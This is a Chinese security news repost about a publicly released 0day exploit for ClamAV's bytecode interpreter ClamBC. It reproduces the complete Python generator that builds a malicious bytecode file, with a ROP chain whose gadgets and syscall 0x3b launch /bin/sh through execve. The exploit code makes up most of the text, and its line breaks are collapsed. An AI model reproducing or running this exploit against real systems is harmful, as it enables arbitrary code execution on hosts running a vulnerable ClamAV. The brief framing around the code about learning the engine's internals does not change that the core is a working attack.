GitHub用户 momika233 公开了免费开源杀毒软件 ClamAV 当前版本(0.102.0及以下版本)的0day exploit 详情。他发布的全文如下:

2002年,ClamAV作为基于 UNIX系统的解决方案出现,它构建于基于签名的检测方法且目前仍在开发过程中。当时,LibClamAV 仅保留2个二进制文件,目前已扩展至5个。

ClamBC 异常复杂,用作字节码的测试工具,主要验证和解释其中的代码,它提供的信息并未表明和解释其内部机制的存在。

由于源代码可用且缺乏文档,本文应运而生。本文的目的并非提升权限,仅仅是作为一种体验,以及体会挑战带来的乐趣。

由于分析需要花费大量时间,因此对引擎的剖析迫在眉睫,同时分析极大地拓宽了我们对其内部结构的认识。尝试和出错的过程带来了有价值的信息、导致潜在漏洞的崩溃,有效地增加了攻击面,扩大了被攻击的可能性。

Exploit 代码如下:

    > ./exploit.py> clambc --debug exploit[SNIP]$"""names = ["test1", "read", "write", "seek", "setvirusname", "debug_print_str", "debug_print_uint", "disasm_x86", "trace_directory", "trace_scope", "trace_source", "trace_op", "trace_value", "trace_ptr", "pe_rawaddr", "file_find", "file_byteat", "malloc", "test2", "get_pe_section", "fill_buffer", "extract_new", "read_number", "hashset_new", "hashset_add", "hashset_remove", "hashset_contains", "hashset_done", "hashset_empty", "buffer_pipe_new", "buffer_pipe_new_fromfile", "buffer_pipe_read_avail", "buffer_pipe_read_get", "buffer_pipe_read_stopped", "buffer_pipe_write_avail", "buffer_pipe_write_get", "buffer_pipe_write_stopped", "buffer_pipe_done", "inflate_init", "inflate_process", "inflate_done", "bytecode_rt_error", "jsnorm_init", "jsnorm_process", "jsnorm_done", "ilog2", "ipow", "iexp", "isin", "icos", "memstr", "hex2ui", "atoi", "debug_print_str_start", "debug_print_str_nonl", "entropy_buffer", "map_new", "map_addkey", "map_setvalue", "map_remove", "map_find", "map_getvaluesize", "map_getvalue", "map_done", "file_find_limit", "engine_functionality_level", "engine_dconf_level", "engine_scan_options", "engine_db_options", "extract_set_container", "input_switch", "get_environment", "disable_bytecode_if", "disable_jit_if", "version_compare", "check_platform", "pdf_get_obj_num", "pdf_get_flags", "pdf_set_flags", "pdf_lookupobj", "pdf_getobjsize", "pdf_getobj", "pdf_getobjid", "pdf_getobjflags", "pdf_setobjflags", "pdf_get_offset", "pdf_get_phase", "pdf_get_dumpedobjid", "matchicon", "running_on_jit", "get_file_reliability", "json_is_active", "json_get_object", "json_get_type", "json_get_array_length", "json_get_array_idx", "json_get_string_length", "json_get_string", "json_get_boolean", "json_get_int"]o = names.index("buffer_pipe_new") + 1k = names.index("buffer_pipe_write_get") + 1l = names.index("debug_print_str") + 1m = names.index("malloc") + 1c = 0for name in names: names[c] = name.encode("hex") c += 1def cc(n): v = chr(n + 0x60) return vdef cs(s): t = "" for i in xrange(0, len(s), 2): u = int(s[i], 16) l = int(s[i + 1], 16) for i in [u, l]: if((i >= 0 and i <= 0xf)): continue print "Invalid string." exit(0) t += cc(l) + cc(u) return tdef wn(n, fixed=0, size=0): if n is 0: return cc(0) t = "" c = hex(n)[2:] l = len(c) if (l % 2) is 1: c = "0" + c r = c[::-1] if(l <= 0x10): if not fixed: t = cc(l) i = 0 while i < l: t += cc(int(r[i], 16)) i += 1 else: print "Invalid number." exit(0) if size != 0: t = t.ljust(size, "`") return tdef ws(s): t = "|" e = s[-2:] if(e != "00"): print "[+] Adding null-byte at the end of the string.." s += "00" l = (len(s) / 2) if (len(s) % 2) is 1: print "Invalid string length." exit(0) t += wn(l) t += cs(s) return tdef wt(t): if t < (num_types + 0x45): v = wn(t) return v else: print "Invalid type." exit(0)def initialize_header(minfunc=0, maxfunc=0, num_func=0, linelength=4096): global flimit, num_types if maxfunc is 0: maxfunc = flimit if(minfunc > flimit or maxfunc < flimit): print "Invalid minfunc and/or maxfunc." exit(0) header = "ClamBC" header += wn(0x07) # formatlevel(6, 7) header += wn(0x88888888) # timestamp header += ws("416c69656e") # sigmaker header += wn(0x00) # targetExclude header += wn(0x00) # kind header += wn(minfunc) # minfunc header += wn(maxfunc) # maxfunc header += wn(0x00) # maxresource header += ws("00") # compiler header += wn(num_types + 5) # num_types header += wn(num_func) # num_func header += wn(0x53e5493e9f3d1c30) # magic1 header += wn(0x2a, 1) # magic2 header += ":" header += str(linelength) header += chr(0x0a)*2 return headerdef prepare_types(contained, type=1, nume=1): global num_types types = "T" types += wn(0x45, 1) # start_tid(69) for i in range(0, num_types): types += wn(type[i], 1) # kind if type[i] in [1, 2, 3]: # Function, PackedStruct, Struct types += wn(nume[i]) # numElements for j in range(0, nume[i]): types += wt(contained[i][j]) # containedTypes[j] else: # Array, Pointer if type[i] != 5: types += wn(nume[i]) # numElements types += wt(contained[i][0]) # containedTypes[0] types += chr(0x0a) return typesdef prepare_apis(calls=1): global maxapi, names, ids, tids if(calls > max_api): print "Invalid number of calls." exit(0) apis = "E" apis += wn(max_api) # maxapi apis += wn(calls) # calls(<= maxapi) for i in range(0, calls): apis += wn(ids[i]) # id apis += wn(tids[i]) # tid apis += ws(names[ids[i] - 1]) # name apis += chr(0x0a) return apisdef prepare_globals(numglobals=1): global max_globals, type, gval globals = "G" globals += wn(max_globals) # maxglobals globals += wn(numglobals) # numglobals for i in range(0, numglobals): globals += wt(type[i]) # type for j in gval[i]: # subcomponents n = wn(j) globals += chr(ord(n[0]) - 0x20) globals += n[1:] globals += cc(0) globals += chr(0x0a) return globalsdef prepare_function_header(numi, numbb, numa=1, numl=0): global allo if numa > 0xf: print "Invalid number of arguments." exit(0) fheader = "A" fheader += wn(numa, 1) # numArgs fheader += wt(0x20) # returnType fheader += "L" fheader += wn(numl) # numLocals for i in range(0, numa + numl): fheader += wn(type[i]) # types fheader += wn(allo[i], 1) # | 0x8000 fheader += "F" fheader += wn(numi) # numInsts fheader += wn(numbb) # numBB fheader += chr(0x0a) return fheaderflimit = 93max_api = 100max_globals = 32773num_types = 6# Header parsingw = initialize_header(num_func=0x1)# Types parsingcont = [[0x8], [0x45], [0x20, 0x20], [0x41, 0x20, 0x20], [0x20, 0x41, 0x20], [0x41, 0x20]]type = [0x4, 0x5, 0x1, 0x1, 0x1, 0x1]num = [0x8, 0x1, 0x2, 0x3, 0x3, 0x2]w += prepare_types(cont, type, num)# API parsingids = [o, k, l, m]tids = [71, 72, 73, 74]w += prepare_apis(0x4)"""# crash @ id=0"""# Globals parsingtype = [0x45]gval = [[0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41]]w += prepare_globals(0x1)# Function header parsingtype = [0x45, 0x41, 0x40, 0x40, 0x40, 0x40, 0x20]allo = [ 1, 0, 0, 0, 0, 0, 0]w += prepare_function_header(35, 0x1, 0x0, 0x7)# BB parsingp = "B"# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x0)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += "@d"# STORE (0x0068732f6e69622f(L=8) -> ([Var #1]))p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += "Nobbfifnfobcghfh"p += wn(0x1)# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x360)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += "C`fcd"# LOAD Var #2 = ([Var #1])p += wn(0x40)p += wn(0x2)p += wn(0x27, 1)p += wn(0x1)# SUB Var #2 -= 0xd260p += wn(0x40)p += wn(0x2)p += wn(0x2, 1, 2)p += wn(0x2)p += "D`fbmd"# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x10)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += "B`ad"# LOAD Var #3 = ([Var #1])p += wn(0x40)p += wn(0x3)p += wn(0x27, 1)p += wn(0x1)# SUB Var #3 -= 0x10p += wn(0x40)p += wn(0x3)p += wn(0x2, 1, 2)p += wn(0x3)p += "B`ad"# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x30)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += "B`cd"# LOAD Var #4 = ([Var #1])p += wn(0x40)p += wn(0x4)p += wn(0x27, 1)p += wn(0x1)# SUB Var #4 -= 0x190p += wn(0x40)p += wn(0x4)p += wn(0x2, 1, 2)p += wn(0x4)p += "C`iad"# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x38)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += "Bhcd"# STORE (Var #3 -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += wn(0x3)p += wn(0x1)# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x48)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += "Bhdd"# ADD Var #3 += 0x3p += wn(0x40)p += wn(0x3)p += wn(0x2, 1, 2)p += wn(0x3)p += "Acd"# STORE (Var #3 -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += wn(0x3)p += wn(0x1)# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x28)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += "Bhbd"# ADD Var #5 += Var #2 + 0xcbdap += wn(0x40)p += wn(0x5)p += wn(0x1, 1, 2)p += wn(0x2)p += "Djmkld"# STORE (Var #5 -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += wn(0x5)p += wn(0x1)# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x20)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += "B`bd"# STORE (Var #4 -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += wn(0x4)p += wn(0x1)# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x18)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += "Bhad"# ADD Var #5 += Var #2 + 0x99dcp += wn(0x40)p += wn(0x5)p += wn(0x1, 1, 2)p += wn(0x2)p += "Dlmiid"# STORE (Var #5 -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += wn(0x5)p += wn(0x1)# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x10)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += "B`ad"# STORE (0x3b -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += "Bkcd"p += wn(0x1)# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x30)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += "B`cd"# STORE (0x0 -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += "@d"p += wn(0x1)# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x40)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += "B`dd"# STORE (0x0 -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += "@d"p += wn(0x1)# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x8)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += "Ahd"# ADD Var #2 += 0x6d68p += wn(0x40)p += wn(0x2)p += wn(0x1, 1, 2)p += wn(0x2)p += "Dhfmfd"# STORE (Var #2 -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += wn(0x2)p += wn(0x1)"""0x99dc : pop rdi ; ret0xcbda : pop rsi ; ret0x6d68 : pop rax ; retVar #2 = text_baseVar #3 = syscall (+3: pop rdx; ret)Var #4 = "/bin/sh\x00"pop rax; ret; o 0x859 o 0x10pop rdi; ret; o 0x18sh; address o 0x20pop rsi; ret; o 0x280x0 o 0x30pop rdx; ret; o 0x380x0 o 0x40syscall o 0x48"""# COPY Var #6 = (0x5a90050f(o`e``ije))p += wn(0x20)p += wn(0x0)p += wn(0x22, 1)p += "Ho`e``ijeh"p += wn(0x6)p += "T"p += wn(0x13, 1)p += wn(0x20)p += wn(0x6)p += "E"w += pf = open("exploit", "w")f.write(w)f.close()print "[+] Generated payload""""

    原文链接

    https://github.com/momika233/ClamAV_0Day_exploit/

    声明:本文来自代码卫士,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。